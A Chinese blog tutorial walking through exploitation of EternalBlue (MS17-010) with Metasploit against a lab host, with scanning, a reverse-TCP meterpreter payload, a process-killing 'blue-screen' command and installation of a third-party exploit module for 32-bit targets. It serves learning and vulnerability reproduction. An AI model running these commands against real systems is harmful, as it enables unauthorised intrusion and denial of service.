永恒之蓝 ms17-010

2023-10-25 05:04
文章标签 010 ms17 永恒

本文主要是介绍永恒之蓝 ms17-010，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

文章目录

  • 永恒之蓝 ms17-010
    • 1. 漏洞介绍
      • 1.1 影响版本
      • 1.2 漏洞原理
    • 2. 信息收集
      • 2.1 主机扫描
      • 2.2 端口扫描
    • 3. 漏洞探测
    • 4. 漏洞利用
    • 5. 特殊情况
      • 5.1 安装wine32环境
      • 5.2 安装攻击32位操作系统所用的的脚本

永恒之蓝 ms17-010

很久之前做过的永恒之蓝漏洞…

1. 漏洞介绍

永恒之蓝（ms17-010）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

1.1 影响版本

目前已知受影响的 Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

1.2 漏洞原理

通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出，最终导致任意命令的执行。在Windows操作系统中，SMB服务默认是开启的，监听端口默认为445，因此该漏洞造成的影响极大。

2. 信息收集

2.1 主机扫描

arp-scan -l

image-20231024200826004

2.2 端口扫描

nmap -O -sS -T4 192.168.188.222

image-20231024202435170

3. 漏洞探测

msfconsole
# 搜寻模块
search ms17-010

image-20231024203415111

# 使用第三个模块
use 3
# 查看该漏洞模块的具体介绍信息
info

image-20231024203658160

使用show options选项，查看我们要输入的具体参数，其中标注了yes的选项是必须的参数，若这个参数为空，则需要我们填写。

show options

image-20231024203822659

RHOSTS选项为空，需要填写，RHOSTS代表要攻击的目标。输入r然后按tab键可以自动补全该参数。

set rhosts 192.168.188.222

显示该主机很可能能够会受到永恒之蓝漏洞的攻击。

run

image-20231024204251498

4. 漏洞利用

search 17-010

image-20231024204458680

设置payload连接的方式，reverse_tcp为反向连接，即受害机主动连接攻击机，以获取shell。

set payload windows/x64/meterpreter/reverse_tcp

设置攻击目标

set rhosts 192.168.188.222
run

image-20231024204727030

拿下该主机的shell，执行cmd命令。

getuid

image-20231024204750610

ipconfig

image-20231024204855411

蓝屏攻击

taskkill /f /fi "pid ne 1"

命令解析：

  • 用于在 Windows 操作系统中终止进程的命令。它的作用是强制结束所有除了系统进程（PID为1）之外的其他进程。

  • 在 Windows 操作系统中，进程标识符（PID）为 1 的进程通常是系统进程，也称为"System"进程或"System Idle Process"进程。这个进程是操作系统内核的一部分，负责管理和调度其他进程的运行。

image-20231024205108393

image-20231024205022404

5. 特殊情况

由于不知道目标操作系统是32位还是64位的，我们在使用ms17010攻击模块的时候常规使用64位来进行攻击。

如果在攻击的时候，出现攻击失败等提示信息，那么说明该模块只能攻击64位操作系统，也说明了目标靶机是32位的操作系统。

5.1 安装wine32环境

apt-get install wine32

在执行exploit时可能会出现 ：

it looks like wine32 is missing, you should install it.multiarch needs to be enabled first. as root, pleaseexecute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32"

按照上面的方法dpkg --add-architecture i386 && apt-get update && apt-get install wine32即可

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

验证是否安装成功

wine --version

用wine32执行cmd.exe

wine cmd.exe

5.2 安装攻击32位操作系统所用的的脚本

首先下载利用的脚本：

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb

cd Eternalblue-Doublepulsar-Metasploit/cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

接下来使用exploit模块（步骤同上，原理同上）

msfconsolesearch eternalblue  #或者search ms17-010

如果在成功打过去了，但是一直频繁的刷shell的信息，就是回弹不出shell的终端，这个是为什么？

  • 防火墙或安全软件阻止了反向连接：目标系统上可能配置了防火墙或安全软件，阻止了从被攻击系统回连到攻击者控制的服务器的连接。这样一来，即使成功执行了恶意代码，也无法建立与攻击者服务器的连接，导致无法回弹 shell。
  • 网络配置问题：目标系统的网络配置可能存在问题，例如无法访问互联网、网络隔离等，导致无法回连到攻击者的服务器。
  • 安全补丁或安全措施：目标系统可能已经应用了相关的安全补丁或采取了其他安全措施，修复了永恒之蓝漏洞或阻止了其利用。这样一来，攻击者无法成功利用漏洞，也无法回弹 shell。

这篇关于永恒之蓝 ms17-010的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/280203。

相关文章

【百日算法计划】：每日一题，见证成长（010）

【百日算法计划】：每日一题，见证成长（010）

题目 合并两个排序的链表 输入两个递增排序的链表，合并这两个链表并使新链表中的节点仍然是递增排序的 示例1： 输入：1->2->4, 1->3->4 输出：1->1->2->3->4->4 思路 引入一个带虚拟头结点和tail指针的结果链表，把原节点的值比较大小后加入到结果链表中。 public ListNode mergeTwoLists(ListNode l1, ListNo
阅读更多...
Kali-MSF-永恒之蓝漏洞复现（ms17_010_eternalblue）

Kali-MSF-永恒之蓝漏洞复现（ms17_010_eternalblue）

目录 一、漏洞利用 1.主机发现 2.msf拿取shell 3.获取屏幕 4.文件上传 5.文件下载 6.远程登录 7.上传后门 nc利用 法一：目标主动（推荐） 法二：目标被动（该方法需要msf协助，有点本末倒置） 8.免杀 9.清除日志 二、预防策略 1.打开防火墙 2.安装杀毒软件 3.禁用445端口 使用防火墙新增规则，禁用端口 关闭server服务
阅读更多...
永恒之蓝漏洞复现记录

永恒之蓝漏洞复现记录

准备工作 实验环境搭建 下载并安装VMware Workstation软件查看VMware的虚拟网卡和虚拟网络设置安装Windows虚拟机镜像和Kali linux虚拟机镜像 实验目的 掌握Windows网络服务远程渗透攻击基本理论知识。掌握Windows漏洞及漏洞利用方法原理。掌握Windows网络服务远程渗透攻击防范措施。了解渗透测试软件Metasploit并掌握操作使用Metaspl
阅读更多...
康托尔、哥德尔、图灵——永恒的金色对角线(转载)

康托尔、哥德尔、图灵——永恒的金色对角线(转载)

我看到了它，却不敢相信它。 ——康托尔 哥德尔的不完备性定理震撼了20世纪数学界的天空，其数学意义颠覆了希尔伯特的形式化数学的宏伟计划，其哲学意义直到21世纪的今天仍然不断被延伸到各个自然学科，深刻影响着人们的思维。图灵为了解决希尔伯特著名的第十问题而提出有效计算模型，进而作出了可计算理论和现代计算机的奠基性工作，著名的停机问题给出了机械计算模型的能力极限，其深刻的意义和漂
阅读更多...
【安当产品应用案例100集】010-基于国密UKEY的信封加密应用案例

【安当产品应用案例100集】010-基于国密UKEY的信封加密应用案例

安当有个客户开发了一套C/S架构的软件，Server在云端，Client由不同的用户使用。最初软件设计开发的时候，没有考虑数据安全形势日渐严峻的问题，Server端和Client端直接就建立一个socket连接来进行通信，Server端发出去的数据还涉及到一些敏感字段和指令，随着越来越多的用户开始关注安全问题，这个安全架构显然已经不满足最基本的数据安全要求。 由于Client端数量较多，客户
阅读更多...
133-横向移动域控提权NetLogonADCSPACKDC永恒之蓝

133-横向移动域控提权NetLogonADCSPACKDC永恒之蓝

除了前面讲到的口令密码进行横向移动，还存在使用系统漏洞进行的横向移动的方式，本节课就是讲一些域内系统的漏洞，主要是域控提权的一些漏洞 1、横向移动-系统漏洞-CVE-2017-0146（ms17-010，永恒之蓝） 2、横向移动-域控提权-CVE-2014-6324 3、横向移动-域控提权-CVE-2020-1472（重点） 4、 横向移动-域控提权-CVE-2021-42287（重点）
阅读更多...
MS17-010（Eternal blue永恒之蓝）漏洞利用+修复方法

MS17-010（Eternal blue永恒之蓝）漏洞利用+修复方法

目录 一、漏洞简介 漏洞原理 影响版本 二、漏洞复现 三、复现过程 1、扫描局域网内的C段主机（主机发现） 扫描结果： 2.使用MSF的永恒之蓝漏洞模块 3.对主机进行扫描，查看其是否有永恒之蓝漏洞 4.准备攻击 四、漏洞利用 五、提升权限 1.创建新用户 2.将用户添加至管理员群组 3.查看端口的开启情况 六、远程登录 七、漏洞修复 一、漏洞简介 永
阅读更多...
PAT-L1-010. 比较大小

PAT-L1-010. 比较大小

L1-010. 比较大小 时间限制 400 ms 内存限制 65536 kB 代码长度限制 8000 B 判题程序 Standard 作者 杨起帆（浙江大学城市学院） 本题要求将输入的任意3个整数从小到大输出。 输入格式： 输入在一行中给出3个整数，其间以空格分隔。 输出格式： 在一行中将3个整数从小到大输出，其间以“->”相连。 输入样例
阅读更多...
meterpeter基础及永恒之蓝漏洞利用

meterpeter基础及永恒之蓝漏洞利用

meterpeter基础知识 meterpeter为渗透测试框架，主要用于后渗透模块 后渗透：拿到shell后进行的操作（远程，权限维持，入侵痕迹清除，上机关闭杀毒软件） msf能干什么 相当于一个漏洞库（信息收集，漏洞检测，漏洞利用，payload，shellcode：攻击载荷，poc，exp，病毒木马文件生成） 前提：已知软件漏洞，专业漏洞攻击工具 一般用来打nday（例：永恒之蓝，心脏
阅读更多...
Java笔试面试题010

Java笔试面试题010

1、说说下面语句是否有错误，或可能出现的缺陷，并指出错误，或缺陷在哪里？ public class MyFile implements Runnable{        public voidrun(){               while(true){                      try{                             FileReader
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2